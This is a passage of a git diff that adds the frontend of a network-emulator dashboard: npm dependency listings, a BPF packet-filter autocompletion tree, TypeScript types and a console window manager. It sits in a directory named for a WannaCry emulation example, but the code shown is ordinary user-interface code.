} + }, + "semver": { + "version": "7.3.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.4.tgz", + "integrity": "sha512-tCfb2WLjqFAtXn4KEdxIhalnRtoKFN7nAwj0B3ZXCbQloV2tq5eDbcTmT68JJD3nRJq24/XgxtQKFIpQdtvmVw==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + }, + "serialize-javascript": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-5.0.1.tgz", + "integrity": "sha512-SaaNal9imEO737H2c05Og0/8LUXG7EnsZyMa8MzkmuHoELfT6txuj0cMqRj6zfPKnmQ1yasR4PCJc8x+M4JSPA==", + "dev": true, + "requires": { + "randombytes": "^2.1.0" + } + }, + "source-list-map": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz", + "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==", + "dev": true + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "source-map-support": { + "version": "0.5.19", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.19.tgz", + "integrity": "sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==", + "dev": true, + "requires": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + } + }, + "style-loader": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-2.0.0.tgz", + "integrity": "sha512-Z0gYUJmzZ6ZdRUqpg1r8GsaFKypE+3xAzuFeMuoHgjc9KZv3wMyCRjQIWEbhoFSq7+7yoHXySDJyyWQaPajeiQ==", + "dev": true, + "requires": { + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + }, + "tapable": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz", + "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==", + "dev": true + }, + "terser": { + "version": "5.5.1", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.5.1.tgz", + "integrity": "sha512-6VGWZNVP2KTUcltUQJ25TtNjx/XgdDsBDKGt8nN0MpydU36LmbPPcMBd2kmtZNNGVVDLg44k7GKeHHj+4zPIBQ==", + "dev": true, + "requires": { + "commander": "^2.20.0", + "source-map": "~0.7.2", + "source-map-support": "~0.5.19" + }, + "dependencies": { + "source-map": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz", + "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==", + "dev": true + } + } + }, + "terser-webpack-plugin": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.1.1.tgz", + "integrity": "sha512-5XNNXZiR8YO6X6KhSGXfY0QrGrCRlSwAEjIIrlRQR4W8nP69TaJUlh3bkuac6zzgspiGPfKEHcY295MMVExl5Q==", + "dev": true, + "requires": { + "jest-worker": "^26.6.2", + "p-limit": "^3.1.0", + "schema-utils": "^3.0.0", + "serialize-javascript": "^5.0.1", + "source-map": "^0.6.1", + "terser": "^5.5.1" + } + }, + "timsort": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/timsort/-/timsort-0.3.0.tgz", + "integrity": "sha1-QFQRqOfmM5/mTbmiNN4R3DHgK9Q=" + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + }, + "ts-loader": { + "version": "8.0.14", + "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-8.0.14.tgz", + "integrity": "sha512-Jt/hHlUnApOZjnSjTmZ+AbD5BGlQFx3f1D0nYuNKwz0JJnuDGHJas6az+FlWKwwRTu+26GXpv249A8UAnYUpqA==", + "dev": true, + "requires": { + "chalk": "^4.1.0", + "enhanced-resolve": "^4.0.0", + "loader-utils": "^2.0.0", + "micromatch": "^4.0.0", + "semver": "^7.3.4" + } + }, + "tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true + }, + "typescript": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.1.3.tgz", + "integrity": "sha512-B3ZIOf1IKeH2ixgHhj6la6xdwR9QrLC5d1VKeCSY4tvkqhF2eqd9O7txNlS0PO3GrBAFIdr3L1ndNwteUbZLYg==", + "dev": true + }, + "uniq": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/uniq/-/uniq-1.0.1.tgz", + "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=", + "dev": true + }, + "uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "requires": { + "punycode": "^2.1.0" + } + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", + "dev": true + }, + "uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==" + }, + "vis-data": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/vis-data/-/vis-data-7.1.2.tgz", + "integrity": "sha512-RPSegFxEcnp3HUEJSzhS2vBdbJ2PSsrYYuhRlpHp2frO/MfRtTYbIkkLZmPkA/Sg3pPfBlR235gcoKbtdm4mbw==" + }, + "vis-network": { + "version": "9.0.4", + "resolved": "https://registry.npmjs.org/vis-network/-/vis-network-9.0.4.tgz", + "integrity": "sha512-F/pq8yBJUuB9lNKXHhtn4GP2h91FV0c2O2nvfU34RX4VCYOlqs+mINdz+J+QkWiYhiPdlVy15gzVEzkhJ9hpaw==" + }, + "vis-util": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/vis-util/-/vis-util-5.0.2.tgz", + "integrity": "sha512-oPDmPc4o0uQLoKpKai2XD1DjrhYsA7MRz75Wx9KmfX84e9LLgsbno7jVL5tR0K9eNVQkD6jf0Ei8NtbBHDkF1A==" + }, + "watchpack": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.1.0.tgz", + "integrity": "sha512-UjgD1mqjkG99+3lgG36at4wPnUXNvis2v1utwTgQ43C22c4LD71LsYMExdWXh4HZ+RmW+B0t1Vrg2GpXAkTOQw==", + "dev": true, + "requires": { + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.1.2" + } + }, + "webpack": { + "version": "5.14.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.14.0.tgz", + "integrity": "sha512-PFtfqXIKT6EG+k4L7d9whUPacN2XvxlUMc8NAQvN+sF9G8xPQqrCDGDiXbAdyGNz+/OP6ioxnUKybBBZ1kp/2A==", + "dev": true, + "requires": { + "@types/eslint-scope": "^3.7.0", + "@types/estree": "^0.0.45", + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/wasm-edit": "1.11.0", + "@webassemblyjs/wasm-parser": "1.11.0", + "acorn": "^8.0.4", + "browserslist": "^4.14.5", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^5.7.0", + "es-module-lexer": "^0.3.26", + "eslint-scope": "^5.1.1", + "events": "^3.2.0", + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.2.4", + "json-parse-better-errors": "^1.0.2", + "loader-runner": "^4.2.0", + "mime-types": "^2.1.27", + "neo-async": "^2.6.2", + "pkg-dir": "^5.0.0", + "schema-utils": "^3.0.0", + "tapable": "^2.1.1", + "terser-webpack-plugin": "^5.1.1", + "watchpack": "^2.0.0", + "webpack-sources": "^2.1.1" + }, + "dependencies": { + "enhanced-resolve": { + "version": "5.7.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.7.0.tgz", + "integrity": "sha512-6njwt/NsZFUKhM6j9U8hzVyD4E4r0x7NQzhTCbcWOJ0IQjNSAoalWmb0AE51Wn+fwan5qVESWi7t2ToBxs9vrw==", + "dev": true, + "requires": { + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" + } + }, + "tapable": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.0.tgz", + "integrity": "sha512-FBk4IesMV1rBxX2tfiK8RAmogtWn53puLOQlvO8XuwlgxcYbP4mVPS9Ph4aeamSyyVjOl24aYWAuc8U5kCVwMw==", + "dev": true + } + } + }, + "webpack-sources": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-2.2.0.tgz", + "integrity": "sha512-bQsA24JLwcnWGArOKUxYKhX3Mz/nK1Xf6hxullKERyktjNMC4x8koOeaDNTA2fEJ09BdWLbM/iTW0ithREUP0w==", + "dev": true, + "requires": { + "source-list-map": "^2.0.1", + "source-map": "^0.6.1" + } + }, + "xterm": { + "version": "4.9.0", + "resolved": "https://registry.npmjs.org/xterm/-/xterm-4.9.0.tgz", + "integrity": "sha512-wGfqufmioctKr8VkbRuZbVDfjlXWGZZ1PWHy1yqqpGT3Nm6yaJx8lxDbSEBANtgaiVPTcKSp97sxOy5IlpqYfw==" + }, + "xterm-addon-attach": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/xterm-addon-attach/-/xterm-addon-attach-0.6.0.tgz", + "integrity": "sha512-Mo8r3HTjI/EZfczVCwRU6jh438B4WLXxdFO86OB7bx0jGhwh2GdF4ifx/rP+OB+Cb2vmLhhVIZ00/7x3YSP3dg==" + }, + "xterm-addon-fit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/xterm-addon-fit/-/xterm-addon-fit-0.4.0.tgz", + "integrity": "sha512-p4BESuV/g2L6pZzFHpeNLLnep9mp/DkF3qrPglMiucSFtD8iJxtMufEoEJbN8LZwB4i+8PFpFvVuFrGOSpW05w==" + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + }, + "yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true + } + } +} diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/package.json b/examples/not-ready-examples/25-wannacry/map/frontend/package.json new file mode 100644 index 000000000..aa3b015c2 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/package.json @@ -0,0 +1,47 @@ +{ + "name": "container-manager-client", + "version": "0.0.1", + "description": "container manager client side.", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "nat ", + "license": "MIT", + "dependencies": { + "@egjs/hammerjs": "^2.0.17", + "@types/bootstrap": "^5.0.4", + "@types/datatables.net": "^1.10.19", + "@types/datatables.net-select": "^1.2.6", + "@types/hammerjs": "^2.0.36", + "@types/jquery": "^3.5.5", + "@types/jqueryui": "^1.12.14", + "bootstrap": "^4.5.3", + "bootstrap-icons": "^1.3.0", + "component-emitter": "^1.3.0", + "datatables.net": "^1.10.23", + "datatables.net-bs4": "^1.10.23", + "datatables.net-select": "^1.3.1", + "datatables.net-select-bs4": "^1.3.1", + "file-loader": "^6.2.0", + "hammerjs": "^2.0.8", + "jquery": "^3.5.1", + "jquery-ui": "^1.12.1", + "keycharm": "^0.4.0", + "popper.js": "^1.16.1", + "timsort": "^0.3.0", + "uuid": "^8.3.2", + "vis-data": "^7.1.2", + "vis-network": "^9.0.4", + "vis-util": "^5.0.2", + "xterm": "^4.9.0", + "xterm-addon-attach": "^0.6.0", + "xterm-addon-fit": "^0.4.0" + }, + "devDependencies": { + "css-loader": "^5.0.1", + "style-loader": "^2.0.0", + "ts-loader": "^8.0.14", + "typescript": "^4.1.3", + "webpack": "^5.14.0" + } +} diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/public/console.html b/examples/not-ready-examples/25-wannacry/map/frontend/public/console.html new file mode 100644 index 000000000..f997c1495 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/public/console.html @@ -0,0 +1,19 @@ + + + + + console + + + + + +
+
+
+ + + + + + + + SEEDEMU Dashboard + + + + +
+
+

Nodes

+ + + + + + + + + + + + + +
ASNNameTypeIP Address(es)Actions
+
+
+

Networks

+ + + + + + + + + + + + + +
ASN (scope)NameTypeNetwork PrefixActions
+
+
+
+
+ + + + + \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/public/map.html b/examples/not-ready-examples/25-wannacry/map/frontend/public/map.html new file mode 100644 index 000000000..11356b0a8 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/public/map.html @@ -0,0 +1,87 @@ + + + + + map + + + + + +
+
+
+
Filter
+
Search
+
+ +
+
+
+
+
Replay
+
+
+
Replay stopped.
+
+ + + + + +
+
+ +
+
+ + +
+
+
+
+
+
Details
+
+
+ No object selected. +
+
+
+
+
+ Log + +
+
+
+ + + + + + + + + + +
TimeNodeLog
+
+
+ + + + + +
+
+
+
+
+
+ + + + \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/src/common/bpf.ts b/examples/not-ready-examples/25-wannacry/map/frontend/src/common/bpf.ts new file mode 100644 index 000000000..f416465e3 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/src/common/bpf.ts @@ -0,0 +1,265 @@ +import { CompletionTree } from "./completion"; + +export let bpfCompletionTree: CompletionTree = { + type: 'root', + children: [ + { + type: 'keyword', + name: 'dst', + description: 'matching packet\'s destination.', + children: [ + { + type: 'value', + name: '', + description: 'matching packet\'s destination IP address.' + }, + { + type: 'keyword', + name: 'host', + description: 'matching packet\'s destination IP address.', + children: [ + { + type: 'value', + name: '', + description: 'matching packet\'s destination IP address.' + } + ] + }, + { + type: 'keyword', + name: 'net', + description: 'matching packet\'s destination network.', + children: [ + { + type: 'value', + name: '', + description: 'matching packet\'s destination network.' + } + ] + }, + { + type: 'keyword', + name: 'port', + description: 'matching packet\'s destination port.', + children: [ + { + type: 'value', + name: '', + description: 'matching packet\'s destination port.' + } + ] + }, + { + type: 'keyword', + name: 'portrange', + description: 'matching packet\'s destination port rage.', + children: [ + { + type: 'value', + name: '', + description: 'matching packet\'s destination port rage.' + } + ] + } + ] + }, + { + type: 'keyword', + name: 'src', + description: 'matching packet\'s source.', + children: [ + { + type: 'value', + name: '', + description: 'matching packet\'s source IP address.' + }, + { + type: 'keyword', + name: 'host', + description: 'matching packet\'s source IP address.', + children: [ + { + type: 'value', + name: '', + description: 'matching packet\'s source IP address.' + } + ] + }, + { + type: 'keyword', + name: 'net', + description: 'matching packet\'s source network.', + children: [ + { + type: 'value', + name: '', + description: 'matching packet\'s source network.' + } + ] + }, + { + type: 'keyword', + name: 'port', + description: 'matching packet\'s source port.', + children: [ + { + type: 'value', + name: '', + description: 'matching packet\'s source port.' + } + ] + }, + { + type: 'keyword', + name: 'portrange', + description: 'matching packet\'s source port range.', + children: [ + { + type: 'value', + name: '', + description: 'matching packet\'s source rage.' + } + ] + } + ] + }, + { + type: 'keyword', + name: 'host', + description: 'matching packets from or to the given IP address.', + children: [ + { + type: 'value', + name: '', + description: 'matching packets from or to the given IP address.' + } + ] + }, + { + type: 'keyword', + name: 'net', + description: 'matching packets from or to the given network.', + children: [ + { + type: 'value', + name: '', + description: 'matching packets from or to the given network.' + } + ] + }, + { + type: 'keyword', + name: 'port', + description: 'matching packets from or to the given port.', + children: [ + { + type: 'value', + name: '', + description: 'matching packets from or to the given port.' + } + ] + }, + { + type: 'keyword', + name: 'portrange', + description: 'matching packets from or to the given port range.', + children: [ + { + type: 'value', + name: '', + description: 'matching packets from or to the given port range.' + } + ] + }, + { + type: 'keyword', + name: 'ether', + description: 'matching packets with mac address.', + children: [ + { + type: 'keyword', + name: 'dst', + description: 'matching packets to the given mac address.', + children: [ + { + type: 'value', + name: '', + description: 'matching packets to the given mac address.' + } + ] + }, + { + type: 'keyword', + name: 'src', + description: 'matching packets from the given mac address.', + children: [ + { + type: 'value', + name: '', + description: 'matching packets from the given mac address.' + } + ] + }, + { + type: 'keyword', + name: 'host', + description: 'matching packets from or to the given mac address.', + children: [ + { + type: 'value', + name: '', + description: 'matching packets from or to the given mac address.' + } + ] + }, + { + type: 'keyword', + name: 'broadcast', + description: 'matching layer two broadcast packets.' + }, + { + type: 'keyword', + name: 'multicast', + description: 'matching layer two multicast packets.' + } + ] + }, + { + type: 'keyword', + name: 'ip', + description: 'matching IP packets.', + children: [ + { + type: 'keyword', + name: 'broadcast', + description: 'matching broadcast IP packets.' + }, + { + type: 'keyword', + name: 'multicast', + description: 'matching multicast IP packets.' + } + ] + }, + { + type: 'keyword', + name: 'arp', + description: 'matching ARP packets.' + }, + { + type: 'keyword', + name: 'tcp', + description: 'matching TCP packets.' + }, + { + type: 'keyword', + name: 'udp', + description: 'matching UDP packets.' + }, + { + type: 'keyword', + name: 'icmp', + description: 'matching ICMP packets.' + } + ] +}; \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/src/common/completion.ts b/examples/not-ready-examples/25-wannacry/map/frontend/src/common/completion.ts new file mode 100644 index 000000000..6a2a71398 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/src/common/completion.ts @@ -0,0 +1,73 @@ +export interface CompletionTree { + type: 'root' | 'keyword' | 'value'; + + name?: string; + description?: string; + + children?: CompletionTree[]; +} + +export interface CompletionOption { + word: string; + partialword: string; + fulltext: string; + description: string; +} + +export class Completion { + private _tree: CompletionTree; + + constructor(tree: CompletionTree) { + this._tree = tree; + } + + getCompletion(input: string): CompletionOption[] { + let words = input.split(/\s+/); + let lastWord = words.pop() ?? ''; + + var pointer = this._tree; + var fulltext: string[] = []; + + words.forEach(word => { + fulltext.push(word); + + var nextPointer = this._tree; + + if (!pointer.children) { + fulltext = []; + pointer = this._tree; + return; + } + + pointer.children.forEach(child => { + if (child.type == 'value') { + nextPointer = child; + } + + if (child.type == 'keyword' && child.name === word) { + nextPointer = child; + } + }); + + if (nextPointer == this._tree) { + fulltext = []; + } + + pointer = nextPointer; + }); + + if (pointer.children) { + return pointer.children.filter(child => child.name.startsWith(lastWord)).map(child => { + return { + word: child.name, + partialword: child.name.slice(lastWord.length), + fulltext: `${fulltext.join(' ')} ${child.name}`, + description: child.description + }; + }); + } + + return []; + } +} + diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/src/common/configuration.ts b/examples/not-ready-examples/25-wannacry/map/frontend/src/common/configuration.ts new file mode 100644 index 000000000..7d1993df3 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/src/common/configuration.ts @@ -0,0 +1,3 @@ +export let Configuration = { + ApiPath: '/api/v1' +}; \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/src/common/console-event.ts b/examples/not-ready-examples/25-wannacry/map/frontend/src/common/console-event.ts new file mode 100644 index 000000000..5ab8a38c2 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/src/common/console-event.ts @@ -0,0 +1,5 @@ +export interface ConsoleEvent{ + type: 'ready' | 'closed' | 'error' | 'focus' | 'blur' | 'data' | 'rawkey'; + id: string; + data?: any; +} \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/src/common/css/window-manager.css b/examples/not-ready-examples/25-wannacry/map/frontend/src/common/css/window-manager.css new file mode 100644 index 000000000..fd179f7a3 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/src/common/css/window-manager.css @@ -0,0 +1,144 @@ +.console-area { + z-index: 10000; + pointer-events: none; + position: absolute; + top: 0; + left: 0; +} + +.console-window { + pointer-events: all; + position: fixed !important; + width: 760px; + height: 460px; + border: 1px solid #333; +} + +.synthesizer { + height: 80px; +} + +.console-titlebar { + position: absolute; + height: 25px; + width: 100%; + background-color: #eee; + color: #888; + top: 0; +} + +.console-titlebar.active { + background-color: #ccc; + color: #333; +} + +.console-title, .console-actions { + line-height: 1em; + font-size: .9em; + margin-left: .4em; +} + +.console-title { + cursor: default; + -webkit-user-select: none; + -khtml-user-select: none; + -moz-user-select: -moz-none; + -o-user-select: none; + user-select: none; +} + +.console-action { + margin-right: .5em; + color: #777; + cursor: pointer; +} + +.console-action:hover { + color: #333; +} + +.console-actions { + border-right: 2px solid #ccc; +} + +.active .console-actions { + border-right: 2px solid #aaa; +} + +.hide { + display: none; +} + +.console { + position: absolute; + height: calc(100% - 25px); + width: 100%; + bottom: 0; + background-color: #1d1f21; + opacity: 95%; +} + +.dragging { + opacity: 90%; +} + +.mask { + opacity: 0%; +} + +.taskbar { + white-space: nowrap; + + background-color: #ccc; + border-top: 2px solid #eee; + position: fixed; + bottom: 0; + width: 100%; + height: 30px; + overflow-x: scroll; + overflow-y: hidden; + + scrollbar-width: none; + -ms-overflow-style: none; + padding-left: .1em; +} + +.taskbar::-webkit-scrollbar { + width: 0; + height: 0; +} + +button.taskbar-item { + display: inline-block; + + color: #000; + border-top: 1px solid #fff; + border-left: 1px solid #fff; + border-right: 1px solid gray; + border-bottom: 1px solid gray; + box-shadow: inset 1px 1px #dfdfdf, 1px 0 #000, 0 1px #000, 1px 1px #000; + background-color: silver; + height: 25px; + margin-right: .2em; +} + +button.taskbar-item .taskbar-item-text { + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + color: #333; + font-size: .8em; + line-height: 24px; + display: inline-block; + + max-width: 150px; +} + +button.taskbar-item.active { + border-top: 1px solid #000; + border-left: 1px solid #000; + border-right: 1px solid #dfdfdf; + border-bottom: 1px solid #dfdfdf; + box-shadow: inset 1px 1px grey, 1px 0 #fff, 0 1px #fff, 1px 1px #fff; +} + diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/src/common/types.ts b/examples/not-ready-examples/25-wannacry/map/frontend/src/common/types.ts new file mode 100644 index 000000000..7c11dc8fd --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/src/common/types.ts @@ -0,0 +1,45 @@ +export interface EmulatorNode { + Id: string; + NetworkSettings: { + Networks: { + [name: string]: { + NetworkID: string, + MacAddress: string + } + } + + }; + meta: { + emulatorInfo: { + nets: { + name: string, + address: string + }[], + asn: number, + name: string, + role: string, + description?: string, + displayname?: string + }; + }; +}; + +export interface EmulatorNetwork { + Id: string; + meta: { + emulatorInfo: { + type: string, + scope: string, + name: string, + prefix: string, + description?: string, + displayname?: string + } + } +}; + +export interface BgpPeer { + name: string; + protocolState: string; + bgpState: string; +}; \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/src/common/window-manager.ts b/examples/not-ready-examples/25-wannacry/map/frontend/src/common/window-manager.ts new file mode 100644 index 000000000..0d13d9e69 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/src/common/window-manager.ts @@ -0,0 +1,732 @@ +import 'jquery-ui/themes/base/resizable.css'; +import 'bootstrap-icons/font/bootstrap-icons.css'; + +import $ from 'jquery'; + +import 'jquery-ui'; +import 'jquery-ui/ui/widgets/resizable'; + +import { ConsoleEvent } from './console-event'; + +// todo: windows, etc? +export type WindowManagerEvent = 'taskbarchanges'; + +/** + * Console window. + */ +export class Window { + private _id: string; + + /** current title. */ + private _title: string; + + /** current status text (e.g., disconnect/connecting) */ + private _statusText: string; + + /** the window element */ + private _element: HTMLDivElement; + + /** the title text element */ + private _titleElement: HTMLSpanElement; + + /** the body (console) */ + private _frameElement: HTMLIFrameElement; + + /** parent. */ + private _manager: WindowManager; + + /** + * the mask element: mouse events will not be sent when mouse is directly + * on the iframe; put a mask on the frame when dragging to capture mouse + * events. + */ + private _maskElement: HTMLDivElement; + + /** the title bar element */ + private _titleBarElement: HTMLDivElement; + + /** current x pos */ + private _x: number; + + /** current y pos */ + private _y: number; + + /** change in x when dragging */ + private _dx: number; + + /** change in y when dragging */ + private _dy: number; + + /** true if currently dragging */ + private _dragging: boolean; + + private _bondedMoveHandler: any; + private _bondedDownHandler: any; + private _bondedUpHandler: any; + + /** true if currently in input synth */ + private _inSynth: boolean; + + /** the button for toggling synth. */ + private _synthControlElement: Element; + + /** + * create window. + * + * @param manager parent. + * @param id window id. + * @param title window title. + * @param url window body url. + * @param top top offset. + * @param left left offset. + */ + constructor(manager: WindowManager, id: string, title: string, url: string, top: number, left: number) { + this._manager = manager; + this._dragging = false; + this._inSynth = false; + + var console = document.createElement('div'); + var titleBar = document.createElement('div'); + var titleText = document.createElement('span'); + var titleActions = document.createElement('span'); + var consoleMask = document.createElement('div'); + var consoleFrame = document.createElement('iframe'); + + consoleFrame.setAttribute('container-id', id); + + this._id = id; + this._title = title; + this._element = console; + this._frameElement = consoleFrame; + this._titleElement = titleText; + + this.setStatusText('(connecting...)'); + + titleText.className = 'console-title'; + titleText.innerText = title; + + titleBar.className = 'console-titlebar'; + + var iClose = document.createElement('i'); + iClose.className = 'bi bi-x-circle console-action'; + iClose.onclick = this.close.bind(this); + iClose.title = 'Close'; + + var iMin = document.createElement('i'); + iMin.className = 'bi bi-box-arrow-in-down-left console-action'; + iMin.onclick = this.minimize.bind(this); + iMin.title = 'Minimize' + + var iMax = document.createElement('i'); + iMax.className = 'bi bi-box-arrow-up-right console-action'; + iMax.onclick = this.popOut.bind(this); + iMax.title = 'Open in new window'; + + var iReload = document.createElement('i'); + iReload.className = 'bi bi-bootstrap-reboot console-action'; + iReload.onclick = this.reload.bind(this); + iReload.title = 'Reload terminal'; + + var iSynth = document.createElement('i'); + iSynth.className = 'bi bi-keyboard console-action'; + iSynth.onclick = this.toggleSynth.bind(this); + iSynth.title = 'Add this session to input broadcast'; + this._synthControlElement = iSynth; + + titleActions.className = 'console-actions'; + titleActions.appendChild(iClose); + titleActions.appendChild(iMin); + titleActions.appendChild(iMax); + titleActions.appendChild(iReload); + titleActions.appendChild(iSynth); + + titleBar.appendChild(titleActions); + titleBar.appendChild(titleText); + console.appendChild(titleBar); + + consoleFrame.src = url; + consoleFrame.className = 'console'; + console.appendChild(consoleFrame); + + consoleMask.className = 'console mask hide'; + console.appendChild(consoleMask); + + console.className = 'console-window'; + + var jconsole = $(console); + + jconsole.resizable({ + minHeight: 45, + minWidth: 125 + }); + + jconsole.offset({ top, left }); + + this._titleBarElement = titleBar; + this._maskElement = consoleMask; + + this._bondedDownHandler = this._handleDragStart.bind(this); + this._bondedUpHandler = this._handleDragEnd.bind(this); + this._bondedMoveHandler = this._handleDragMove.bind(this); + + this._element.addEventListener('mousedown', this._bondedDownHandler); + this._element.addEventListener('mouseup', this._bondedUpHandler); + } + + /** + * get window id. + * + * @returns id + */ + getId(): string { + return this._id; + } + + /** + * get window title + * + * @returns title + */ + getTitle(): string { + return this._title; + } + + /** + * change window title. + * + * @param newTitle new title + */ + setTitle(newTitle: string) { + this._title = newTitle; + this._titleElement.innerText = `${newTitle} ${this._statusText}`; + } + + /** + * get status text. + * + * @returns status text + */ + getStatusText(): string { + return this._statusText; + } + + /** + * set status text. + * + * @param status status text. + */ + setStatusText(status: string) { + this._statusText = status; + this._titleElement.innerText = `${this._title} ${status}`; + } + + /** + * block the frame element in this window so mouse events can be captured. + */ + block() { + 